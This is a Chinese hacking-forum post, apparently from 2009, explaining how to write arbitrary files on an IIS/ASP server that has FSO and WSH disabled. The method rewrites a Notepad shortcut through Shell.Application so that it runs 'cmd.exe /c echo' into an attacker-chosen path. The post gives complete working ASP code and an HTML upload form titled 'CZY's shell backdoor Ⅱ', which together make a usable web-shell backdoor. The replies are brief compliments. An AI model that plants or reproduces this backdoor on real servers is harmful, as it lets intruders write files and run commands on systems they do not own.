找回密码
 注册
搜索
热搜: 回贴
  • 前程无忧官网首页 有什么好的平台可以
  • 最新的销售平台 互联网营销的平台有哪
  • 制作网页的基本流程 网页制作和网页设
  • 【帝国CMS】输出带序号的列表(数字排
  • 网站建设公司 三一,中联,极东泵车的
  • 织梦 建站 织梦网站模版后台怎么更改
  • 云服务官网 哪些网站有免费的简历模板
  • 如何建网站要什么条件 建网站要用什么
  • 吉林市移动公司电话 吉林省退休人员网
  • 设计类毕业论文 网站设计与实现毕业论
查看: 7888|回复: 4

跨越FSO WSH写文件

[复制链接]
发表于 2009-11-29 01:09:01 | 显示全部楼层 |阅读模式 IP:江苏扬州
对于禁用了FSO,WSH的主机来说写文件的确是一个难事. 你也许会问shell对象有写文件的功能吗?的确在MSDN中并没有介绍,但是shell对象可以对已存在的LNK/URL/PIF文件进行更改,并且更改后可以保存为别的文件名.

只能写LNK文件有用吗?这儿我们如果再使用shell对象的invokeverb方法来执行这个LNK文件的话那我们不就能写任意文件了!为什么?因为LNK文件中指定的执行程序是可以加参数的那么我们就可以调用cmd 的echo功能来写文件.

好思路在这儿了,编程中遇到的实际问题如下:

1.要找到一个everyone可以仿问的LNK文件。找了一下发现:
"C:\Documents and Settings\Default User\「开始」菜单\程序\附件"目录下的默认LNK文件everyone
用户都默认具有读取权限.

2.利用cmd.exe /c echo来写件的时候">","<",双引号,"&"等有特殊意义不能直接写入必须在它们的前面
使用转义符^.另外双引号在vb中也有特殊意义只有用chr(34)来代替.

<%
path=trim(Request.querystring("path"))
text=trim(Request.querystring("text"))
if text<>"" and path<>"" then
text=replace(text,">","^>")
text=replace(text,"<","^<")
text=replace(text,"&","^&")
text=replace(text,chr(34),"^"&chr(34))

set shell=server.createobject("shell.application")
set shellfolder=shell.namespace("C:\Documents and Settings\Default User\「开始」菜单\程序\附件")
set shellfolderitem=shellfolder.parsename("记事本.lnk")
set objshelllink =shellfolderitem.getlink
objshelllink.path="cmd.exe"
objshelllink.arguments="/c echo "&text&">"&path&" &&del c:\a.lnk"
objshelllink.save("c:\a.lnk")
shell.namespace("c:\").items.item("a.lnk").invokeverb
end if
%>


<html>
<title>CZY's shell backdoor Ⅱ</title>
<form action=shell2.asp>
路径与文件名:<input type=text name=path size=40><p>
文件内容:<textarea name=text rows=20 cols=50 ></textarea><p>
<input type=submit value=生成文件>
</form>
</html>
发表于 2009-12-13 20:05:04 | 显示全部楼层 IP:广东
哈哈,~~怕怕~~不敢不回~~
回复

使用道具 举报

发表于 2009-12-22 23:05:04 | 显示全部楼层 IP:北京
还没崇拜过谁呢,满足一下愿望吧,谢谢!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-10-1 07:36 , Processed in 0.234673 second(s), 15 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表